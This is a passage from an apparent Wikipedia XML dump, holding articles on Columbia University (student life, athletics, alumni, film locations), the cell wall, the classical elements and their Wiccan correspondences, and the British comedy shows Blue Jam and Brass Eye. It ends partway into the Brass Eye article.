Major publications include The ''[[Columbia Review]]'',[http://www.columbia.edu/cu/review] the nation's oldest college literary magazine ; The ''[[Columbia Daily Spectator]]'',[http://www.columbiaspectator.com] the nation's second-oldest student newspaper; CTV,[2] the nation's second oldest student television station; The Fed,[http://www.columbia.edu/cu/thefed/] an alternative humor paper; ''[[Jester of Columbia]]'',[http://www.jesterofcolumbia.com], the revived campus humor magazine established in 1899 and edited at one point by Allen Ginsberg; ; The ''[[Blue &amp; White]]'',[http://www.theblueandwhite.org/] a literary magazine established in 1890; the Collection, an undergraduate literary magazine; and the Journal of Politics &amp; Society,[6] the nation's leading journal of advanced undergraduate research in the social sciences, published by the Helvidius Group. Columbia also has an online arts and literary web magazine The Mobius Strip[http://www.mobiusmag.com/]. This year, a group of undergraduates also started AdHoc, an undergraduate magazine that grapples with progressive issues on campus.

===Athletics===
While Columbia is no longer an athletics powerhouse, sports at Columbia have a long tradition. [[Sport rowing|Crew]] was Columbia's first sport, and the first non-English school to win the [[Henley Regatta]]. The Columbia football team is one of the nation's oldest and won the [[Rose Bowl (game)|Rose Bowl]] in 1934. Its [[amateur wrestling|wrestling]] team is the nation's oldest.  Due to space constraints, most of Columbia's outdoor athletic teams practice and compete uptown at Baker Field in [[Inwood, Manhattan]].  The rowing teams use the [[Orchard Beach, New York|Orchard Beach Lagoon]] as their home course.  Home meets for [[cross country running]] are held at [[Van Cortlandt Park]] in the [[Bronx]].

Columbia has been home to some famous athletes - [[Eddie Collins]] and [[Lou Gehrig]] played baseball and [[Sid Luckman]] played football there. Columbia's [[fencing]] team in the late 20th century was one of the nation's most successful, with [[NCAA]] [[NCAA Fencing team championship|team championships]] in 1987, 1988, 1989, 1992 and 1993.  In recent years, the women's [[cross country running|cross country]] team has held the Heptagonal Championship title.  In 2004, both the men's and women's teams won the race.

The university's recent notoriety in sports, however, lies with its [[American football|football]] team, which set an NCAA record of most consecutive football games without a win. After a losing 44 games, it broke the streak by beating [[Princeton University|Princeton]] at Columbia's [[homecoming game]] in 1988. Their dubious record was superseded by [[Prairie View A&amp;M]] in the 1990s. 

Although Columbia routinely finishes at or near the bottom of the [[Ivy League]] standings in most sports, the university remains among the top 20 universities in terms of its number of [[NCAA]] [[Division I]] varsity sports offerings. 

For a listing of organizations, see the article [[Clubs and Organizations of Columbia University]].

==Awards and honors==
As of 2005, 73 Columbia University affiliates have been honored with Nobel Prizes for their work in physics, chemistry, medicine, literature, peace, and economics. For a complete list, see [http://c250.columbia.edu/c250_celebrates/nobel_laureates/by_year.html]

Other awards/honors won by current faculty include:

*[[MacArthur Foundation]] Award: 28 [http://www.studentaffairs.columbia.edu/admissions/university/academic/faculty.php]
* [[National Medal of Science]]: 4 [http://www.studentaffairs.columbia.edu/admissions/university/academic/faculty.php]
*The [[National Academies]]: 94 (sum of 38+17+39, below)
:*[[National Academy of Sciences]]: 38 [http://www.nasonline.org/site/Dir/1496521948?pg=rslts]
:*[[National Academy of Engineering]]: 17 [http://www.nae.edu/nae/naepub.nsf/Members%20By%20Parent%20InstitutionC?OpenView&amp;Start=30]
:*Institute of Medicine of the National Academies: 39 [http://www.iom.edu/CMS/2951/16476.aspx?ps=10&amp;sb=LastName&amp;sd=ASC&amp;cp=5&amp;filterby=C&amp;browseby=Institution&amp;scroll=2#ResultScroll2]
*[[American Academy of Arts and Sciences]]: 143 [http://www.studentaffairs.columbia.edu/admissions/university/academic/faculty.php]

==Notable Columbia alumni==
Three current United States Senators, sixteen current Chief Executives of Fortune 500 companies, and thirty-seven Nobel Prize winners have degrees from Columbia. Three of the eleven richest Americans have a degree from Columbia. In culture and the arts, [[Rodgers and Hammerstein]], [[Lorenz Hart]], [[Jacques Barzun]], [[Lionel Trilling]], [[Robert Nozick]], [[Jack Kerouac]], [[Allen Ginsberg]] and [[Paul Auster]] are among Columbia's alumni. 

See also [[List of Columbia University people]]

== In film, television and the arts ==
Movies featuring scenes shot on Morningside campus include:

* ''[[Altered States]]''
* ''[[Anger Management]]''	
* ''[[Awakenings]]''
* ''[[Black and White (movie)|Black and White]]''
* ''[[Crimes and Misdemeanors]]''
* ''[[Everyone Says I Love You]]''
* ''[[Ghostbusters]]''
* ''[[Ghostbusters II]]''
* ''[[The Graduate]]'' 
* ''[[Hannah and Her Sisters]]''
* ''[[Hitch]]''
* ''[[K-PAX]]''
* ''[[Kinsey]]''
* ''[[The Last First Kiss]]''
* ''[[The Mirror Has Two Faces]]''
* ''[[Malcolm X]]''
* ''[[Manhattan]]''
* ''[[New York Minute (movie)|New York Minute]]''
* ''[[Porn 'n Chicken]]''
* ''[[The Producers: The Movie Musical]]''
* ''[[P.S.]]''
* ''[[Spider-Man (film)|Spider-Man]]''
* ''[[Spider-Man 2]]''
* ''[[The Sopranos]]''
* ''[[Stay]]''
* ''[[Thirteen Conversations About One Thing]]''

Movies or shows with significant portrayals of Columbia alumni or students:

* ''[[Finding Forrester]]'' -William Forrester bears a likeness to J.D. Salinger, a Columbia alumnus.
* ''[[Igby Goes Down]]'' 
* ''[[The Pride of the Yankees]]'' -Biopic of Lou Gehrig, who attended Columbia in the 1920s.
*''[[Quiz Show]]'' - Noted alum [[Charles Van Doren]] and the [[Twenty One (game show)|quiz show scandal]] of the 1950s.
* ''[[The Sisterhood of the Traveling Pants]]'' - Eric, [[Mike Vogel]], is a student at Columbia
* ''[[The Rock (film)]]'' -Nicholas Cage's character, Stanley Goodspeed, is a Columbia alumnus.
Currently shooting on or around the University's campus:
* ''[[August Rush]]''

==See also==
* [[Ivy League]]
* [[Education in New York City]]
* [[Columbia Daily Spectator]]
* The [[Varsity Show]]
* [[The Philolexian Society]]
* [[Ivy League business schools]]
* [[List of Columbia University people]]
* [[Columbia University Tunnels]]	
* [[Clubs and Organizations of Columbia University]]
* [[Frank Abagnale]], an [[impostor]] who [[forgery|forged]] a Columbia University [[academic degree]]
*[[Louisa Gross Horwitz Prize]]

==Notes==
&lt;references/&gt;

==External links==
* [http://www.columbia.edu/ Columbia's homepage]
*[http://www.college.columbia.edu/ Columbia College] - undergraduate school of arts and science
* [http://www.engineering.columbia.edu/ Fu Foundation School of Engineering and Applied Science] - undergraduate and graduate engineering school
* [http://www.barnard.edu/ Barnard College]
* [http://www.sipa.columbia.edu/ Columbia University School of International and Public Affairs]
* [http://www.gs.columbia.edu/ Columbia School of General Studies]
* [http://www.cuarts.com/ Columbia University Arts Initiative] 
* [http://www.columbiaspectator.com/ Columbia Daily Spectator] - second oldest student newspaper in the nation
* [http://www.columbia.edu/cu/glee Columbia University Glee Club]
* [http://www.culpa.info/ CULPA: Columbia Underground Listing (of) Professor Ability]
* [http://cusj.columbia.edu/ The Columbia Undergraduate Science Journal]
* [http://www.law.columbia.edu/ Columbia Law School]
* [http://www.jrn.columbia.edu/ Columbia Graduate School of Journalism]
* [http://www.tc.columbia.edu/ Columbia Teachers College]
* [http://www.uts.columbia.edu/ Union Theological Seminary]	
* [http://www.jtsa.edu/ Jewish Theological Seminary]
* [http://cusj.columbia.edu/columbiasciencereview.shtml The Columbia Science Review]
* [http://www0.gsb.columbia.edu/ Columbia Graduate School of Business]
* [http://www.arch.columbia.edu/ Graduate School of Architecture Planning and Preservation]
* [http://www.ldeo.columbia.edu/ Lamont-Doherty Earth Observatory]
* [http://beatl.barnard.columbia.edu/stand_columbia/f.html Timeline]
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  <page>
    <title>Cell wall</title>
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        <username>Everyking</username>
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      <comment>Reverted edits by [[Special:Contributions/203.217.8.30|203.217.8.30]] ([[User talk:203.217.8.30|talk]]) to last version by 62.42.86.177</comment>
      <text xml:space="preserve">A '''cell wall''' is a more or less solid layer surrounding a [[cell (biology)|cell]]. They are found in [[bacterium|bacteria]], [[archaea]], [[fungus|fungi]], [[plant]]s, and [[alga]]e. [[Animal]]s and most other [[protist]]s have [[cell membrane]]s without surrounding cell walls. When a cell wall is removed using cell wall degrading [[enzyme]]s, what is left of the cell and its surrounding plasma membrane is called a [[protoplast]]. The cell wall's main purpose is to actually protect the interior from any physical movement that may damage the cell.

== Plant cell walls ==

Plant cell walls have a number of functions: they provide rigidity to the cell for structural and mechanical support, maintaining cell shape, the direction of cell growth and ultimately the architecture of the plant. The cell wall also prevents expansion when water enters the cell. The term [[turgor]] is used to describe this pressure that is induced by excess water inside the plant cell. Cell walls protect against [[pathogen]]s and the environment and are a store of [[carbohydrate]]s for the plant.  The cell wall is constructed primarily from a carbohydrate [[polymer]] called [[cellulose]].

The ''primary cell wall'', built by the plant first, is composed of cellulose [[microfibril]]s aligned at all angles. Microfibrils are held together by [[hydrogen bond]]s to provide a high tensile strength. Cell walls of neighbouring cells are held together by a shared gelatinous membrane called the ''middle lamella'', which contains [[magnesium]] and [[calcium]] [[pectate]]s (salts of [[pectic acid]]).Cells interact though [[plasmodesma]](ta), which are inter-connecting channels of cytoplasm that connect to the protoplasts of adjacent cells across the cell wall.

In some plants and cell types, after a maximum size or point in development has been reached, a ''secondary wall'' is constructed below the primary wall. Unlike the primary wall, the microfibrils are aligned mostly in the same direction, and with each additional layer the orientation changes slightly. Cells with secondary cell walls are rigid. Cell to cell communication is possible through ''pits'' in the secondary cell wall that allow plasmodesma to connect cells through the secondary cell walls.

===Composition of plant cell walls===

The major carbohydrates making up the primary cell wall are [[cellulose]], [[pectin]] and [[hemicellulose]]. Insoluble cellulose fibers are meshed in to a matrix called pectin and ''hemicelluloses''; they give the plant strength and support. 

Plant cells walls also incorporate a number of [[protein]]s; the most abundant include hydroxyproline-rich glycoproteins (HRGP), also called the extensins, the arabinogalactan proteins (AGP), the glycine-rich proteins (GRPs), and the proline-rich proteins (PRPs). With the exception of glycine-rich proteins, all the previously mentioned proteins are [[glycosylation|glycosylated]] and contain [[hydroxyproline]] (Hyp). Each class of glycoprotein is defined by a characteristic, highly repetitive protein sequence. Chimeric proteins contain two or more different domains, each with a sequence from a different class of glycoprotein. Most cell wall proteins are cross-linked to the cell wall and may have structural functions. 

Secondary cell walls may contain [[lignin]] and [[suberin]], making the walls rigid. 

The relative composition of carbohydrates, secondary compounds and protein varies between plants and between the cell type and age.

==Algal cell walls==
Like plants, algae have cell walls (Sendbusch, 2003). Algal cell walls contain cellulose and a variety of glycoproteins. The inclusion of additional polysaccharides in algal cells walls is used as a feature for algal taxonomy.

*[[Manosyl]] form microfibrils in the cell walls of a number of marine [[green algae]] including those from the genera, ''Codium'', ''Dasycladus'', and ''Acetabularia'' as well as in the walls of some [[red algae]], like ''Porphyra'' and ''Bangia''.
*Xylanes
*[[Alginic acid]] is a common polysaccharide in the cell walls of [[brown algae]]
*Sulfonated polysaccharides occur in the cell walls of most algae; those common in red algae include [[agarose]], [[carrageenan]], [[porphyran]], [[furcelleran]] and [[funoran]].

Other compounds that may accumulate in algal cell walls include [[sporopollenin]] and [[calcium]].
   
=== Diatom cell walls ===
The group of [[algae]] known as the [[diatom|diatoms]] synthesise their cell walls (also known as frustules or valves) from [[silicic acid]] (specifically orthosilicic acid, H&lt;sub&gt;4&lt;/sub&gt;SiO&lt;sub&gt;4&lt;/sub&gt;). The acid is [[polymer|polymerised]] intra-cellularly, then the wall is extruded to protect the cell. Significantly, relative to the organic cell walls produced by other groups, silica frustules require less energy to synthesize (approximately 8%), potentially a major saving on the overall cell energy budget (Raven, 1983).

== Prokaryotic cell walls ==

Cell walls of bacteria are primarily used for protection against hostile environments or, in the case of [[pathogen]]ic bacteria, against the [[immune system]] of the [[Host (biology)|host]]. They contain [[peptidoglycan]], which can be made visible in [[Gram-positive]] bacteria by [[Gram staining]]. The cell walls of bacteria are also vital for containing the high [[turgor|osmotic pressure]] inside bacterial cells caused by the high concentration of [[solute]]s in the [[cytoplasm]]. This pressure can often be as high as 15 atmospheres. Many [[antibiotic]]s, including [[penicillin]] and its derivatives, target the cell wall of bacteria.

The cell walls of [[archaea]] are not made of peptidoglycan, but some archaea may contain [[pseudopeptidoglycan]], which is composed of [[N-acetyltalosaminuronic acid]], instead of [[N-acetyl muramic acid]] in peptidoglycan.

== Fungal cell walls ==

Not all species of fungi have cell walls but in those that do, the cell walls are composed of cellulose, glucosamine, and [[chitin]], the same carbohydrate that gives strength to the [[exoskeleton]]s of [[insect]]s. They serve a similar purpose to those of plant cells, giving fungal cells rigidity and strength to hold their shape and preventing [[osmotic lysis]]. It also limits the entry of molecules that may be toxic to the fungus, like plant-produced and synthetic [[fungicide]]s. 

The composition, properties, and form of the fungal cell wall change during the cell cycle and depend on growth conditions.

==Pictures==
[http://micro.magnet.fsu.edu/cells/plants/cellwall.html Cell wall ultrastructure]

==References==

* Raven, J. A. (1983).  The transport and function of silicon in plants.  ''Biol. Rev.'' '''58''', 179-207.
*Sendbusch, P. S. (2003). [http://www.biologie.uni-hamburg.de/b-online/e26/26d.htm Cell Walls of Algae]. Botany Online.

[[Category:Cell biology]]
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  <page>
    <title>Classical element</title>
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      <comment>/* [[Tarot]] and the classical elements */</comment>
      <text xml:space="preserve">{{mergefrom|Primordial Elements}}

{{classic element}}
Many [[ancient]] [[philosophies]] use a set of [[archetypal]] '''classical elements''' to explain [[pattern]]s in [[nature]].  The [[Greece|Greek]] version of these ideas, which dates from pre-Socratic times, persisted throughout the [[Middle Ages]] and into the [[Renaissance]], deeply influencing [[European]] [[thought]] and [[culture]]; but the concept is far older in the Far East, and was widely disseminated in [[India]] and [[China]], where it forms the basis of both [[Buddhism]] and [[Hinduism]], particularly in an [[esoteric]] context.

The modern scientific [[periodic table]] of the [[chemical element|elements]] and the understanding of [[combustion]] (fire) can be considered successors to such early models.

==Classical elements in Greece==
The [[Hellenic civilization|Greek]] classical elements are [[Fire (classical element)|Fire]], [[Earth (classical element)|Earth]], [[Air (classical element)|Air]], and [[Water (classical element)|Water]] (Latin derivatives are ''pyro, terra, aero,'' and ''aqua'').  They represent in [[Greek philosophy]], [[science]], and [[medicine]] the realms of the [[cosmos]] wherein all things exist and whereof all things consist.

[[Plato]] mentions them as of [[The Presocratics|Pre-Socratic]] origin, a list created by the ancient [[philosopher]] [[Empedocles]].

* [[Fire (classical element)|'''Fire''']] is both hot and dry.
* [[Earth (classical element)|'''Earth''']] is both cold and dry.
* [[Air (classical element)|'''Air''']] is both hot and wet.
* [[Water (classical element)|'''Water''']] is both cold and wet.

[[image:Four elements representation.png|right|Four Classical Elements]]
One classic diagram (right) has two squares on top of each other, with the corners of one being the classical elements, and the corners of the other being the properties.

According to [[Galen]], these elements were used by [[Hippocrates]] in describing the [[human body]] with an association with the [[four humours]]:  yellow [[bile]] (Fire), [[Melancholia|black bile]] (Earth), [[blood]] (Air), and [[phlegm]] (Water).

Some [[Cosmology|cosmologies]] include a fifth element, the &quot;[[quintessence]].&quot;  These five elements are sometimes associated with the five [[platonic solid]]s.  

The [[Pythagoras|Pythagoreans]] added [[idea]] as the fifth element, and also used the initial letters of these five elements to name the outer angles of their [[pentagram]].

[[Aristotle]] added [[aether]] as the quintessence, rationalizing that whereas Fire, Earth, Air, and Water were earthly and corruptible, the [[star|stars]] were eternal (&quot;aether&quot; is based on [[Greek language|Greek]] for [[eternity]]) and were thus not made out of any of the four elements but rather a heavenly substance. The word ''aether'' was revived by late [[19th century]] [[physicists]] as a term for the proposed invisible medium which permeated the [[universe]], the ''[[luminiferous aether]]''.

Some [[occult|occultists]] have noted that in modern [[science]] the general rule is that most visible matter can be classified as either a [[solid]] (Earth), [[liquid]] (Water), [[gas]] (Air), or [[Plasma (physics)|plasma]] (Fire).  By extension, more exotic [[Phase (matter)|phases of matter]] (such as [[Bose-einstein condensate]]) are sometimes seen as representative forms of a fifth element (Aether).

In [[1987]] [[composer]] [[Robert Steadman]] wrote a chamber [[symphony]] each [[movement]] of which musically depicts the characteristics of the [[Ancient Greek]] [[classical element|elements]]: Fire, Water, Wind and Earth.

==Classical elements in China==
{{main|Five elements (Chinese philosophy)}}

In [[Taoism]] there is a similar system of elements, which includes [[Metal (classical element)|Metal]] and [[Wood (classical element)|Wood]], but excludes Air. The five major [[planet]]s are associated with and named after the elements: [[Venus (planet)|Venus]] is Metal, [[Jupiter (planet)|Jupiter]] is Wood, [[Mercury (planet)|Mercury]] is Water, [[Mars (planet)|Mars]] is Fire, and [[Saturn (planet)|Saturn]] is Earth. Additionally, the [[Moon]] represents [[Yin Yang|Yin]], and the [[Sun]] represents [[Yin Yang|Yang]]. Yin, Yang, and the five elements are recurring themes in the [[I Ching]], the oldest of Chinese classical texts which describes an ancient system of [[cosmology]] and [[philosophy]].

==Classical elements in Hinduism==
{{main|Tattva}}

The ''Panchamahabhuta,'' or &quot;[[five]] great elements,&quot; of  [[Hinduism]] are ''[[Prithvi]]'' or ''[[Bhumi]]'' ([[earth (classical element)|Earth]]), ''[[Aap|Ap]]'' or ''Jala'' ([[water (classical element)|Water]]), ''[[Agni]]'' or ''[[Tejas]]'' ([[fire (classical element)|Fire]]), ''[[Vayu]]'' or ''Pavan'' ([[air (classical element)|Air]] or [[Wind]]), and ''[[Akasha]]'' ([[Aether]], in both it's [[aether (classical element)|elemental]] and [[aether (mythology)|mythological]] senses)

==Classical elements in Japan==
{{main|Five elements (Japanese philosophy)}}

[[Japan]]ese traditions use a set of elements called the 五大 (''go dai'', literally &quot;five great&quot;).  These five are [[earth (classical element)|earth]], [[water (classical element)|water]], [[fire (classical element)|fire]], [[wind (classical element)|wind]], and [[void (classical element)|void]].  These came from Buddhist beliefs; the classical Chinese elements (五行, ''go gyô'') are also prominent in Japanese culture.

==Classical elements during the [[Middle Ages]]==
During [[medieval]] times, the idea of the classical elements was known. Just as the [[Aristotle|Aristotelian]] [[dogma]] was related to the Greek world view, the idea of classical elements in the Middle Ages composed a large part of the medieval [[world view]]. The [[Roman Catholic Church]] supported the Aristotelian concept of [[aether]] because it supported the [[Christianity|Christian]] view of earthly life as impermanent and [[heaven]] as eternal. References to the classical elements in [[medieval]] [[literature]] are numerous and can be seen in the work of many writers, including  [[William Shakespeare|William Shakespeare]]:

:Thou hast as chiding a nativity
:As '''fire, air, water, earth, and heaven''' can make,
:To herald thee from the womb
::-PERICLES, from [[Pericles Prince of Tyre]]

:The cock, that is the trumpet to the morn,
:Doth with his lofty and shrill-sounding throat
:Awake the god of day; and, at his warning,
:Whether in '''sea or fire, in earth or air''',
:The extravagant and erring spirit hies
:To his confine
::-HORATIO, from [[Hamlet|Hamlet, Prince of Denmark]]

==Astrology and the classical elements==
{{main|astrology and the classical elements}}

[[Astrology]] has used the concept of classical elements from antiquity up until the present. Most modern [[astrologers]] use the four classical elements extensively, and indeed it is still viewed as a critical part of interpreting the [[natal chart|astrological chart]].

==[[Tarot]] and the classical elements==
The [[tarot]] suits of cups, wands, swords and pentacles may be taken as corresponding to water, air, fire, and earth respectively. These correspond in the modern deck of [[playing cards]] to hearts, clubs, spades and diamonds.

==Classical elements in popular culture==
{{main|Classical elements in pop culture}}

The classical elements are often used together thematically in modern [[fantasy]], [[literature]], [[Film|movie]]s, [[television show]]s, and [[comic book]]s.  Typically, a magic wielder has the ability to influence one of the elements, or can use the elements to affect the world around him.

==External links==
*[http://www.friesian.com/elements.htm Different versions of the classical elements]

[[Category:Alchemy]]
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[[Category:Obsolete scientific theories]]
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    <title>Fire (classical element)</title>
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{{classic element}}

'''Fire''' has been important to all peoples of the earth, and it is rich in spiritual tradition.

== Western concepts of Fire ==

Fire is one of the four [[classical element]]s in ancient [[Greek philosophy]] and science.  [[Prometheus]] stole fire from the gods to protect the otherwise helpless humans, and was tortured for his kindness.  Fire is considered to be both hot and dry, and according to [[Plato]] is associated with the [[tetrahedron]].

In [[Wicca]]n tradition, it is associated with the South, Summer, and the color red on the physical plane.  It is sometimes represented by a red triangle, the athame, blood, candles, the guitar, rubies, and incense.  Fire represents energy, inspiration, passion, and masculinity.  In rituals, Fire is represented in the forms of burning objects, love spells, baking, and lighting candles and fires.

The manifestations of the Element of Fire are the sun, lightning, fires, volcanoes and lava, all forms of light, and ovens.  Cats of all types, especially the lion and tiger, are also thought to personify the element of Fire, as are all predatory creatures, such as the fox.  Astral creatures of Fire (elementals) are the Salamander, Phoenix, Drake/Dragon and the Falcon (Although most associate this with Air).  Fire’s place on the pentagram is the lower right point. Fire is represented by the Greeks, an apple-bough and in Christian iconography by a lion.

== Non-Western concepts of Fire ==

In China and Japan Fire is represented by a red bird; in the Aztec religion, by a flint; to the Hindus, a lightning bolt; to the Scythians, an axe.  

== See also ==

* [[Fire]]

[[Category:Alchemy]]
[[Category:Astrology]]
[[Category:History of physics]]
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    <title>Air (classical element)</title>
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{{classic element}}
'''Air''' is one of the four [[classical element]]s in ancient [[Greek philosophy]] and science.  Air is considered to be both hot and wet, and according to Plato is associated with the [[octahedron]].  It is associated with many other concepts, including the [[wand]] suit in the [[tarot]].

In some Wiccan traditions, it is associated with the East, Spring, and the color green on the physical plane.  Air is represented by a green circle, the flute, feathers, the wand, breath, the fan, glass, bells and windchimes, diamonds, whistles, and incense.  Air represents intelligence, communication, psychic powers, and masculinity.  In rituals, Air is represented in the forms of tossing objects into the wind, aromatherapy, songs, and suspending things in high places.

In other Wiccan traditions, Air is associated with the North, Winter, and the color yellow.  The other correspondences are generally the same.

The manifestations of the Element of Air are breezes, the sky, windstorms, clouds, and birdsong.  Birds, especially the eagle and the hawk, are also thought to personify the element of Air, as are most things that fly, such as butterflies.  Astral creatures of Air (elementals) are the Sylph/Zephyr, Faerie, Djinn, and Griffin.  Air’s place on the pentagram is the upper left point.  In China and Japan Air was represented by a blue dragon; in the Aztec religion, by a rabbit; to the Scythians, a yoke; to the Hindus and Greeks, a sword; and in Christian iconography by an eagle.

An anonymous poem called ''Invoking the Elements'', says: 

: This is the Air, my Children; these are the Creatures:
: Far-flying Goose; far-seeing Hawk;
: Owl who knows; Raven who talks;
: Crane who dances; Thrush who sings;
: Quail the humble; Wren the king;
: Lark who revels; Loon who weeps;
: Jay who scatters; Vulture who reaps.
: This is the Air I conjure, and this is the birth of the World.

== See also ==

* [[Air]]

[[Category:Alchemy]]
[[Category:Astrology]]
[[Category:History of physics]]
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    <title>Water (classical element)</title>
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{{original research}}
{{classic element}}

'''Water''' is one of the four [[classical element]]s in ancient [[Greek philosophy]] and science.  It is considered to be both cold and wet; according to [[Plato]], it is associated with the [[icosahedron]].

In [[Wicca]]n tradition, it is associated with the West, autumn, and the color blue on the physical plane. It is sometimes represented by a blue crescent, the chalice, the bell, shells, sapphires, lapis lazuli, tears, and the cauldron. Water represents emotions, wisdom, the soul, and femininity.  In rituals, it is represented in the forms of pouring water over objects, brew making, healing spells, ritual bathing, and tossing objects into bodies of water.

In Chinese [[Taoism|Taoist]] thought, water is representative of intelligence and wisdom; however, an overabundance of the element is said to cause difficulty in choosing something and sticking to it. The element of water overcomes [[Fire_%28classical_element%29|fire]], and in turn is overcome by [[Earth_%28classical_element%29|earth]]. Water spawns [[Wood_%28classical_element%29|wood]], and is produced by [[Metal_%28classical_element%29|metal]].

The manifestations of the element of water are rivers, oceans, lakes, wells, fog, all drinks, and the rain. Animals, especially the dolphin, seal, turtle, frog, and all types of fish, are also thought to personify the element of water. Astral creatures of water (elementals) are the Undine/Mermaid, Oreade/Naiad, and Sea Serpent/Dragon. Water’s place on the pentagram is the upper right point. In China and Japan, water was represented by a black turtle, known as [[Genbu]] in Japanese; in the Aztec religion, by a cane; to the Hindus, a bowl of blood; to the Greeks, a cup; to the Scythians, a bowl; to the Celts, the cauldron of the [[Dagda]], which was always full; and in Christian iconography by a serpent.

== See also ==

* [[Water]]

[[Category:Alchemy]]
[[Category:Astrology]]
[[Category:History of physics]]
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    <title>Earth (classical element)</title>
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{{classic element}}

'''Earth''' is one of the four [[classical element]]s in ancient [[Greek philosophy]] and science. Earth is considered to be both cold and dry, and according to [[Plato]] is associated with the [[cube (geometry)|cube]].

In [[Wicca]]n tradition, it is associated with the North, Winter, and the color yellow on the physical plane.  It is sometimes represented by a yellow square, the drum, animal fur, coins, the pentacle, milk, the heartbeat, jewelry, bones, and the staff.  Earth represents strength, abundance, stability, and femininity.  In rituals, Earth is represented in the forms of burying objects in the earth, herbalism, and making images out of wood or stone.

The manifestations of the Element of Earth are all plants and trees, mountains, forests, caves, and gardens.  The stag, bull, sow, bear, and the snake are also thought to personify the element of Earth, as are all burrowing animals, such as moles and rabbits.  Astral creatures of Earth (elementals) are the Satyr/Faun, Gnome/Goblin, Sylvestre/Dryad, and the Elf.  Earth’s place on the pentagram is the lower left point.  In China and Japan Earth was represented by a turtle; in the Aztec religion, by a house; to the Hindus, a lotus; to the Scythians, a plough; to the Greeks, a wheel; and in Christian iconography by a bull.

== See also ==

* [[Earth]]

[[Category:Alchemy]]
[[Category:Astrology]]
[[Category:History of physics]]
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  <page>
    <title>Blue Jam</title>
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        <ip>129.35.81.19</ip>
      </contributor>
      <comment>/* Derivative shows */</comment>
      <text xml:space="preserve">[[Image:bluejam.jpg|thumb|right|Chris Morris advertising 'Blue Jam'.]]
'''''Blue Jam''''' was an ambient [[radio comedy]] programme produced by [[Chris Morris (satirist)|Chris Morris]]. It aired on [[BBC Radio 1]] in the early hours of the morning from [[1997]] to [[1999]].

The programme gained cult status due to its unique mix of surreal [[monologue]], [[music]], synthesised voices, heavily edited broadcasts and recurring sketches. It featured the extreme voice talents of [[Kevin Eldon]], [[Julia Davis]], [[Mark Heap]], [[David Cann]] and [[Amelia Bullmore]]. Morris himself delivered disturbing monologues, one of which was revamped and made into the [[BAFTA]]-winning short film, ''[[My Wrongs 8245 - 8249 and 117]]''.

Writers who contributed to the programme included [[Graham Linehan]], [[Arthur Mathews]], [[Peter Baynham]], [[David Quantick]], [[Jane Bussman]] and the cast.

Chris Morris is known for pushing the limits of what is acceptable for the media, as is illustrated by an incident surrounding the sixth episode of ''Blue Jam'', named after the sketch which precipitated it, &quot;Bishopslips&quot;.

==Bishopslips==
In a 'sketch' commencing approximately thirteen minutes into the sixth episode of ''Blue Jam'', Morris re-edited the [[Archbishop of Canterbury]]'s speech at [[Diana, Princess of Wales]]'s funeral to make it appear that he was making inappropriate comments regarding [[AIDS]] and the [[British Royal Family]]. The broadcast of this episode was halted in the middle of the edited speech, which was &quot;broadcast almost in its entirety before being faded by a transmission engineer&quot; [http://peteashton.com/002310.html]. It is unknown who ordered this, either a [[BBC]] employee receiving complaints (before the sketch had ended?), or Chris Morris himself as a stunt. The same episode was later rebroadcast, with &quot;Bishopslips&quot; omitted.

==Derivative shows==
A first attempt at translating the series for television came with the [[Television pilot|pilot]] episode of ''[[Big Train]]'' in [[1998]]. Directed by Morris, written by Linehan &amp; Matthews and starring the ''Blue Jam'' cast (with the exception of Cann, replaced by [[Simon Pegg]]), it had much of the offbeat humour from the radio show, but without the ambient feel. When the series was commissioned it was without Morris, and as an entirely separate entity. However, Morris did make a cameo appearance in the first series, narrating a mock nature documentary in which a herd of horseracing jockeys on the Serengeti are stalked and then attacked by the Artist Formerly Known as Prince. He also directed a few sketches throughout the series, notably the Bee Gee's Wild West sketch.

Blue Jam was later made for [[television]] and broadcast on [[Channel 4]] as ''[[Jam (TV series)|Jam]]''. It utilised unusual editing techniques to achieve an unnerving ambiance in keeping with the radio show, and largely repeated the radio sketches. A subsequent &quot;re-mixed&quot; airing, called ''[[Jaaaaam]]'' was even more extreme in its use of post-production gadgetry, often heavily distorting the footage.

In place of closing credits the show had a [[hyperlink|link]] to [http://www.jamcredits.com/ jamcredits.com].

==See also==
* [[Second Class Male/Time To Go]]
* ''[[On the Hour]]''
* ''[[The Day Today]]''
* ''[[Brass Eye]]''

==External links==
*[http://www.angelfire.com/id/bjsg/mainindex.html Blue Jam Sketch Guide]: details of the shows, some sound files. '''Note:''' the free hosting of this site comes at the cost of a great many invasive pop-ups.
*[http://www.thejim.iofm.net/bluejam.html It Started In The Park]: transcripts of every episode of the first two series of Blue Jam.
[[Category:BBC radio comedy]]</text>
    </revision>
  </page>
  <page>
    <title>Brass Eye</title>
    <id>6320</id>
    <revision>
      <id>42094824</id>
      <timestamp>2006-03-03T20:12:56Z</timestamp>
      <contributor>
        <username>Localzuk</username>
        <id>687650</id>
      </contributor>
      <comment>quotes should go to wikiquote not wikipedia</comment>
      <text xml:space="preserve">{{infobox television |
 | show_name = Brass Eye
 | image = [[Image:Brass Eye logo.png]]
 | caption = The ''Brass Eye'' logo
 | format = [[Comedy]]
 | runtime = 25 min
 | creator = [[Chris Morris (satirist)|Chris Morris]]
 | starring = [[Chris Morris (satirist)|Chris Morris]]
 | country = [[United Kingdom]]
 | network = [[Channel 4]]
 | first_aired = [[January 29]], [[1997 in television|1997]]
 | last_aired = [[July 26]], [[2001 in television|2001]]
 | num_episodes = 7
|}}

'''''Brass Eye''''' is a [[United Kingdom|UK]] television series of [[satire|satirical]] [[mockumentary|spoof documentaries]] which aired on [[Channel 4]] in [[1997]] and was re-run in [[2001]].

The series was created by [[Chris Morris (satirist) | Chris Morris]], and written by, amongst others, Morris, [[David Quantick]], [[Peter Baynham]], [[Arthur Mathews]] and [[Graham Linehan]]. It was conceived as a sequel to Morris's earlier spoof news programmes ''[[On The Hour]]'' and ''[[The Day Today]]'', and satirised the media's portrayal of various social ills.

==Original 1997 series==
''Brass Eye'' aroused considerable controversy when it was first broadcast, primarily because prominent public figures were fooled into pledging onscreen support for fictional, and often plainly absurd, charities and causes. 

